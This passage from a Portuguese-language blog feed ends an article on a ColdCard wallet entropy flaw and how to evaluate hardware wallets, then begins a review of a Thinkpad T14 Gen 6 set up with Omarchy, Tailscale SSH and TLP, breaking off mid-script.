<p>Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard usa uma embalagem serializada que evidencia abertura</a>: o número aparece na bolsa, numa aba interna e no próprio aparelho. A <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documenta os selos holográficos</a> de cada modelo. A <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combina embalagem selada com attestation criptográfica</a> feita pelo aplicativo.</p>
<p>Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.</p>
<p>E cuidado com a linguagem: isso tudo é <strong>tamper-evident</strong>, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.</p>
<p>Eu começaria por estas perguntas:</p>
<ol>
<li><strong>Qual é o threat model publicado?</strong> O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.</li>
<li><strong>De onde vem a entropia, exatamente?</strong> Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo <code>New Wallet</code> chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.</li>
<li><strong>O código é realmente livre e o binário corresponde a ele?</strong> “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">Build reproduzível</a> permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, não apenas a promessa do fabricante.</li>
<li><strong>Como a empresa trata quem encontra falhas?</strong> Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.</li>
<li><strong>O que a tela confiável permite verificar?</strong> Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.</li>
<li><strong>Existe uma rota de saída sem o fabricante?</strong> Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a> e <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.</li>
<li><strong>Como funcionam hardware, firmware e supply chain?</strong> Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.</li>
<li><strong>Você consegue restaurar sem improviso?</strong> Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.</li>
</ol>
<p>Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code> e <code>responsible disclosure</code>. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.</p>
<p>Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia do Sparrow</a>. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.</p>
<p>Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.</p>
<p>O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.</p>
<p>Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.</p>
<p>Este pode acabar sendo <strong>um dos piores episódios da história da autocustódia em Bitcoin</strong>. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.</p>
<blockquote>
  <p>Nos casos mais graves, o RNG reduziu o universo pra algo na casa de <code>2^40</code>. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.</p>

</blockquote>
<p>Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão <strong>New Wallet</strong> chamava o RNG correto.</p>
<p>Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.</p>
<blockquote>
  <p>A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.</p>

</blockquote>
<p>Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.</p>
<p>Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>Omarchy no Thinkpad T14 Gen 6: Mini-Review e Setup Completo</title><link>https://akitaonrails.github.io/2026/04/18/omarchy-no-thinkpad-t14-gen-6/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/04/18/omarchy-no-thinkpad-t14-gen-6/</guid><pubDate>Sat, 18 Apr 2026 08:30:00 -0300</pubDate><description>&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 fechado ao lado do carregador USB-C" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Comprei um Lenovo Thinkpad T14 Gen 6 e instalei Omarchy em cima. Não é minha máquina principal, nem pretende ser. É companion: um notebook pra abrir em cima da mesa do escritório de impressão 3D, dar um SSH no desktop, chamar Claude Code, acessar arquivos no NAS, debugar rede pelo ethernet sem ficar procurando adaptador USB e cabo longo. Esse artigo cobre a escolha do hardware, o setup de Omarchy em cima, as customizações específicas pra notebook e pra esse Thinkpad em particular, e as decisões de arquitetura que podem não ser óbvias.&lt;/p&gt;</description><content:encoded><![CDATA[<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 fechado ao lado do carregador USB-C"  loading="lazy" /></p>
<p>Comprei um Lenovo Thinkpad T14 Gen 6 e instalei Omarchy em cima. Não é minha máquina principal, nem pretende ser. É companion: um notebook pra abrir em cima da mesa do escritório de impressão 3D, dar um SSH no desktop, chamar Claude Code, acessar arquivos no NAS, debugar rede pelo ethernet sem ficar procurando adaptador USB e cabo longo. Esse artigo cobre a escolha do hardware, o setup de Omarchy em cima, as customizações específicas pra notebook e pra esse Thinkpad em particular, e as decisões de arquitetura que podem não ser óbvias.</p>
<h2>Mini-review do Thinkpad T14 Gen 6<span class="hx:absolute hx:-mt-20" id="mini-review-do-thinkpad-t14-gen-6"></span>
    <a href="#mini-review-do-thinkpad-t14-gen-6" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-turned-off.jpg" alt="Thinkpad T14 Gen 6 aberto, tela desligada, mostrando o teclado e o selo do Intel Core Ultra 5"  loading="lazy" /></p>
<p>Vamos tirar do caminho: esse não é o notebook dos sonhos. Se eu fosse escolher por estética, pegaria um Asus Zenbook S 14 com tela OLED. Se fosse por portabilidade, o Thinkpad T14s com casca de alumínio, que é mais leve e muito mais bonito. O T14 regular tem tela IPS 1920x1200 de 14&quot;, 400 nits, 60Hz, sem HDR. Dá pro gasto, mas está longe da tela do Zenbook. A casca é de plástico com um acabamento emborrachado, o que deixa ele resistente a arranhão, mas não é premium. Revisões da <a href="https://www.notebookcheck.net/AMD-Ryzen-AI-meets-classic-ThinkPad-Lenovo-ThinkPad-T14-Gen-6-AMD-laptop-review.1222690.0.html"target="_blank" rel="noopener">NotebookCheck</a> e da <a href="https://www.xda-developers.com/lenovo-thinkpad-t14-gen-6-review/"target="_blank" rel="noopener">XDA Developers</a> batem na mesma tecla: bom custo, boa conectividade, desempenho adequado pra escritório, mas a tela é datada.</p>
<p>O que compensa:</p>
<ul>
<li>Seleção de portas. HDMI full-size. Ethernet gigabit. USB-A, USB-C Thunderbolt 4, carrega pelo USB-C (não é carregador proprietário). Pra um companion de debug, isso é exatamente o que eu queria. O Zenbook S 14, por ser mais fino, corta portas.</li>
<li>Sensor de digital funcional no Linux (Goodix MOC, funciona com libfprint em kernel 6.11+). Isso eu uso, detalho mais à frente.</li>
<li>Teclado Thinkpad. Curso de tecla de 1.5mm, trackpoint, layout clássico. Não é o melhor teclado do mundo em 2026, mas é confiável e durável.</li>
<li>Carcaça rugged. Vai cair, vai arranhar, vai viajar na mala. Se eu colocasse um Zenbook OLED ou um Macbook Pro em cima da mesa do escritório de impressão 3D, ao lado da impressora, com poeira de PLA voando, eu ficaria nervoso. O Thinkpad pode levar porrada.</li>
</ul>
<p>Se eu quisesse máquina de jogo, pegaria um Asus Zephyrus G14, meu favorito de notebook gamer. Se eu quisesse máquina de trabalho criativo, pegaria o <a href="https://www.asus.com/laptops/for-home/zenbook/zenbook-duo-ux8406/"target="_blank" rel="noopener">Asus Zenbook Duo (UX8406)</a> com duas telas OLED verticais, ótimo pra edição de vídeo e modelagem 3D. Tenho grana pra qualquer Macbook Pro ou Mac Studio, e escolhi não ir por esse caminho. Explico melhor na próxima seção.</p>
<h2>Meu caso de uso<span class="hx:absolute hx:-mt-20" id="meu-caso-de-uso"></span>
    <a href="#meu-caso-de-uso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-fastfetch.jpg" alt="Thinkpad aberto numa bancada do escritório de impressão 3D, com fastfetch mostrando Omarchy no terminal"  loading="lazy" /></p>
<p>Meu PC principal é um desktop com Ryzen 9 7950X3D, 96 GB de RAM, RTX 5090 de 32 GB. É onde eu trabalho, experimento com modelos locais, rodo containers, edito o blog. Pra jogo, tenho um mini-PC separado com RTX 4090. Esses dois atendem 100% do que eu preciso fazer em casa.</p>
<p>O notebook existe pra cobrir o 1% restante: sentar no sofá, levar no escritório de impressão 3D, levar na cozinha, levar em viagem curta. Não é pra substituir o desktop. É pra ter acesso remoto ao desktop quando eu estiver longe dele.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/ssh-to-remote-desktop-on-left.png" alt="Hyprland com dois terminais lado a lado: à esquerda SSH pro desktop principal (96 GB, RTX 5090), à direita o próprio Thinkpad. Mesma UI, duas máquinas."  loading="lazy" /></p>
<p>Na prática fica assim: abro o notebook, dou split no Hyprland, janela da esquerda dá SSH no desktop principal, janela da direita é o próprio notebook. Mesmo Omarchy nos dois, mesmos atalhos, mesmo bash. O notebook vira extensão do desktop, não um ambiente paralelo que eu tenho que reconfigurar na cabeça toda vez que alterno.</p>
<h3>SSH fora de casa: Tailscale<span class="hx:absolute hx:-mt-20" id="ssh-fora-de-casa-tailscale"></span>
    <a href="#ssh-fora-de-casa-tailscale" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Dentro da rede local, SSH é trivial, o notebook fala com o desktop via IP interno. Fora de casa é outra história. Meu IP doméstico é dinâmico, abrir porta 22 pra internet é péssima ideia, e mesmo com DDNS e port forwarding você está colocando SSH na cara da internet pra qualquer scanner achar.</p>
<p>A solução que uso é <a href="https://tailscale.com/"target="_blank" rel="noopener">Tailscale</a>. Pra quem não conhece: Tailscale é uma mesh VPN baseada no WireGuard, que cria uma rede privada entre seus dispositivos (o &ldquo;tailnet&rdquo;). Cada máquina roda o agente, autentica uma vez, e passa a ter um IP fixo na rede privada (tipo 100.x.y.z). O tráfego entre seus próprios dispositivos vai direto peer-to-peer, cifrado pelo WireGuard. Não passa por servidor central da Tailscale, eles só coordenam NAT traversal. Resultado: do meu notebook num café em qualquer lugar do mundo, eu dou <code>ssh hal9000</code> e caio no desktop de casa como se estivesse na mesma rede.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/tailscale-machines.png" alt="Painel admin da Tailscale mostrando as duas máquinas do meu tailnet, hal9000 (desktop) e hal9666 (thinkpad), ambas com SSH habilitado"  loading="lazy" /></p>
<p>Existem opções mais sofisticadas: <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"target="_blank" rel="noopener">Cloudflare Tunnel</a> com Zero Trust pra expor serviços publicamente com autenticação SSO, headscale self-hosted, WireGuard cru com config manual, Nebula, OpenVPN. Cada uma tem seu caso de uso. Se você precisa expor serviços pra terceiros, controlar acesso granular por identidade, rodar a infraestrutura inteira em casa sem depender de terceiros, essas opções ganham. No meu caso, é só notebook falando com desktop, por períodos curtos (não é trabalho de uma semana inteira, é debug rápido de fim de semana), então Tailscale grátis resolve. O tier free aceita até 100 dispositivos e 3 usuários, muito mais do que eu preciso.</p>
<p>Setup é o mais simples possível:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># No Arch/Omarchy</span>
</span></span><span class="line"><span class="cl">sudo pacman -S tailscale
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tailscaled.service
</span></span><span class="line"><span class="cl">sudo tailscale up --ssh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A flag <code>--ssh</code> ativa o <a href="https://tailscale.com/kb/1193/tailscale-ssh/"target="_blank" rel="noopener">Tailscale SSH</a>, que faz autenticação via identidade da tailnet em vez de chave SSH local. Uma vez fez login via browser no tailscale, cada máquina registrada pode entrar nas outras com base em política de ACL definida no painel admin. Zero key management.</p>
<p>Repito no desktop, faço login com a mesma conta, e pronto. As duas máquinas aparecem no painel (hal9000 e hal9666 na screenshot acima, com SSH habilitado nas duas). Do notebook: <code>ssh hal9000</code>. Do desktop pro notebook: <code>ssh hal9666</code>. Sem port forward, sem IP público, sem expor porta 22 pra internet. Se o notebook for roubado, eu removo ele do tailnet num clique.</p>
<p>Um detalhe prático: como o tailnet dá nome estável, eu adicionei entradas no <code>~/.ssh/config</code> pra usar esses nomes curtos:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Host hal9000
  HostName hal9000
  User akitaonrails</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Assim <code>ssh hal9000</code> funciona de qualquer lugar que tenha Tailscale conectado. É a solução mais próxima de &ldquo;it just works&rdquo; que já vi pra SSH remoto.</p>
<h3>Por que não um Mac<span class="hx:absolute hx:-mt-20" id="por-que-não-um-mac"></span>
    <a href="#por-que-n%c3%a3o-um-mac" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu não tenho uso pro macOS. Como dev, eu vivo melhor em Linux nativo. Toda ferramenta que eu preciso tem versão Linux de primeira, e no macOS eu teria versão de segunda via Homebrew. Não faço iOS, então não preciso do XCode. Pra mobile uso Flutter ou Hotwire Native, que rodam em qualquer OS. iTerm2 e Ghostty no Mac são bons, mas Alacritty, Kitty e o próprio Ghostty no Linux me atendem igual. Todo software bom chega primeiro no Linux, daí é portado pros outros. Arch com AUR cobre tudo num único <code>yay</code>.</p>
<p>Pra trabalho criativo, faz anos que não faço profissionalmente. DaVinci Resolve Studio no Linux é superior ao Final Cut Pro. Krita ou Affinity Photo substituem Photoshop na maioria dos casos. Clip Studio Paint no Android é superior ao Procreate. Eu simplesmente não tenho um workflow que depende da Apple, e a App Store me irrita.</p>
<p>Pra jogo, Mac é terrível. Apple Silicon tem GPU boa pra algumas coisas, mas a biblioteca de jogo pro macOS nativo é pífia comparada com Windows ou Linux. Game Porting Toolkit existe, CrossOver existe, mas pra quem joga sério, não serve. Eu não vou jogar no Thinkpad, pra isso tenho o desktop principal e o mini-PC com RTX 4090, mas se um dia bater vontade de rodar um Hollow Knight ou um indie num trem, é só instalar Steam e deixar o Proton fazer o trabalho. Linux virou plataforma de jogo de verdade nos últimos anos, com Proton/DXVK rodando quase todo o catálogo da Steam (checa <a href="https://www.protondb.com/"target="_blank" rel="noopener">ProtonDB</a>). Inclusive documentei recentemente como <a href="/2026/04/11/distrobox-de-emulacao-com-claude-code/">rodei minha biblioteca de emulação em distrobox</a> sem poluir o sistema host. Com Mac, essas opções não existem.</p>
<p>Outro argumento que sempre aparece: &ldquo;mas um Mac Mini M4 ou Mac Studio com 128GB de memória unificada roda modelos grandes localmente, é o substituto do ChatGPT&rdquo;. Já testei essa tese e escrevi um <a href="/2026/04/05/testando-llms-open-source-e-comerciais-quem-consegue-bater-o-claude-opus/">benchmark detalhado</a>. A conclusão: hardware local caro pra rodar LLM é hobby de fim de semana, não é ferramenta de produção. Os modelos open source que cabem não entregam a qualidade que o Claude Opus entrega. Eu tenho um <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">home server com AMD Strix Halo e 96 GB de RAM unificada</a>, rodei modelos por dezenas de horas, e no meu fluxo real de programação eles servem pra tarefas simples. Pras tarefas complexas, Claude Opus. Antes de gastar os $4000 num Mac Studio com a justificativa de rodar modelos locais, faça o teste de verdade. Você provavelmente vai voltar a pagar Opus depois.</p>
<h2>Por que Omarchy<span class="hx:absolute hx:-mt-20" id="por-que-omarchy"></span>
    <a href="#por-que-omarchy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu uso Omarchy no desktop há meses e documentei o caminho numa <a href="/tags/omarchy/">série de artigos</a>. O <a href="/2025/08/29/new-omarchy-2-0-install/">Omarchy 2.0</a> tem instalador próprio com LUKS, Btrfs, Limine, snapper e SDDM já configurados. Escrevi sobre <a href="/2025/09/12/omarchy-2-0-instale-com-a-iso-do-omarchy/">usar a ISO oficial</a>, sobre as <a href="/2025/09/07/omarchy-2-0-zsh-configs/">customizações de ZSH</a> com atuin, starship, secrets bem organizados, sobre <a href="/2025/09/07/omarchy-2-0-mise-pra-organizar-ambientes-de-desenvolvimento/">Mise pra múltiplas linguagens</a>, sobre <a href="/2025/09/07/omarchy-2-0-lazyvim-lazyextras/">LazyVim e LazyExtras</a>, sobre <a href="/2025/09/09/omarchy-2-0-entendendo-ssh-e-yubikeys/">SSH e Yubikeys</a>, sobre <a href="/2025/09/09/omarchy-2-0-tuis/">TUIs modernas</a>. Também tem o <a href="/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/">Omarchy 3 com dual GPU AMD + NVIDIA</a> e o <a href="/2026/01/09/omarchy-3-um-dos-melhores-agentes-pra-programacao-crush/">Crush</a> como agente de coding.</p>
<p>Pra quem não conhece: Omarchy é Arch Linux puro com uma camada de cosmética em cima do Hyprland/Wayland. Pré-configurado com defaults sãos. Eu podia montar tudo isso do zero, já fiz isso várias vezes na vida, mas por que refazer trabalho que alguém já fez bem feito? Instalo Omarchy, faço os tweaks que são meus em cima, e tenho Arch customizado numa fração do tempo.</p>
<p>Um ponto que eu levanto toda vez que recomendo Omarchy: a documentação é excelente. Tem um <a href="https://manuals.omamix.org/2/the-omarchy-manual"target="_blank" rel="noopener">manual oficial</a> que cobre desde instalação até customização de tema, keybindings, Hyprland, Waybar, tudo. Se você vem de Ubuntu ou Fedora e tem receio de Arch, esse manual resolve o grosso das dúvidas. Pra quem nunca tocou em Hyprland, abre ele e vai tangenciando. Não é um README jogado no GitHub, é manual de verdade, com capítulos e índice.</p>
<p>A história desse artigo começa num fio anterior. Eu migrei meu home server recentemente, trocando um servidor Ubuntu antigo por um <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">Minisforum MS-S1 com openSUSE MicroOS configurado com Claude Code</a>. Esse foi o primeiro experimento sério de deixar o Claude Code guiar uma migração de infra inteira, com containers, NFS, serviços, networking. Deu certo. E deixou no ar a ideia: por que não usar a mesma abordagem pra configurar um notebook novo?</p>
<p>Foi o que fiz. Peguei o Thinkpad, baixei a ISO do Omarchy mais recente, gravei num pendrive, instalei por cima do Windows. Do zero ao desktop funcional, menos de uma hora. Dali pra frente, tudo é tweaking, que eu fui documentando conforme fazia.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-claude-terminal.jpg" alt="Claude Code rodando no terminal do Thinkpad, pronto pra começar a configurar o notebook"  loading="lazy" /></p>
<p>Vou detalhar as duas camadas de customização: o que precisa pra um notebook qualquer, e o que é específico desse Thinkpad.</p>
<h2>Configs específicos de notebook<span class="hx:absolute hx:-mt-20" id="configs-específicos-de-notebook"></span>
    <a href="#configs-espec%c3%adficos-de-notebook" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Um notebook tem problemas que um desktop não tem: bateria, suspensão, tampa, brilho, trackpad. Essas são as partes que Omarchy default não cobre do jeito que eu quero.</p>
<h3>Power management com TLP<span class="hx:absolute hx:-mt-20" id="power-management-com-tlp"></span>
    <a href="#power-management-com-tlp" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O default do Omarchy vem com <code>power-profiles-daemon</code>. Troquei por TLP, que dá controle granular de CPU scaling, thresholds de bateria e perfil dinâmico baseado em AC vs bateria.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S tlp tlp-rdw
</span></span><span class="line"><span class="cl">sudo systemctl mask power-profiles-daemon.service
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tlp.service</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>mask</code> é necessário porque o upower traz o <code>power-profiles-daemon</code> de volta se você só der <code>disable</code>.</p>
<p>Thresholds de carga: 60% pra começar, 85% pra parar. O notebook fica a maior parte do tempo plugado na mesa do escritório, e manter a bateria em 100% 24/7 detona a capacidade ao longo do tempo. Com 60/85, a bateria passa a maior parte do tempo na faixa saudável de lítio e ainda sobra capacidade útil decente.</p>
<p>Perfis: <code>balanced</code> com <code>balance_power</code> na bateria, <code>performance</code> no AC. O <code>low-power</code> do TLP era agressivo demais no Core Ultra 5 235U, a resposta de janela e terminal ficava perceptível. Balanced dá a melhor relação consumo/responsividade pra uso normal.</p>
<p>Tem uma pegadinha: <code>tlp auto</code> depois de <code>tlp ac</code> nem sempre reaplica o perfil de bateria. Criei um pequeno script ligado ao <code>Super+Ctrl+P</code> que lê o estado atual e chama <code>tlp bat</code> ou <code>tlp ac</code> explicitamente:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nb">set</span> -euo pipefail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">profile</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> unknown<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">on_ac</span><span class="o">=</span><span class="k">$(</span>cat /sys/class/power_supply/AC*/online 2&gt;/dev/null <span class="p">|</span> head -1 <span class="o">||</span> <span class="nb">echo</span> 0<span class="k">)</span>
</span></span><span class="line"><span class="cl">
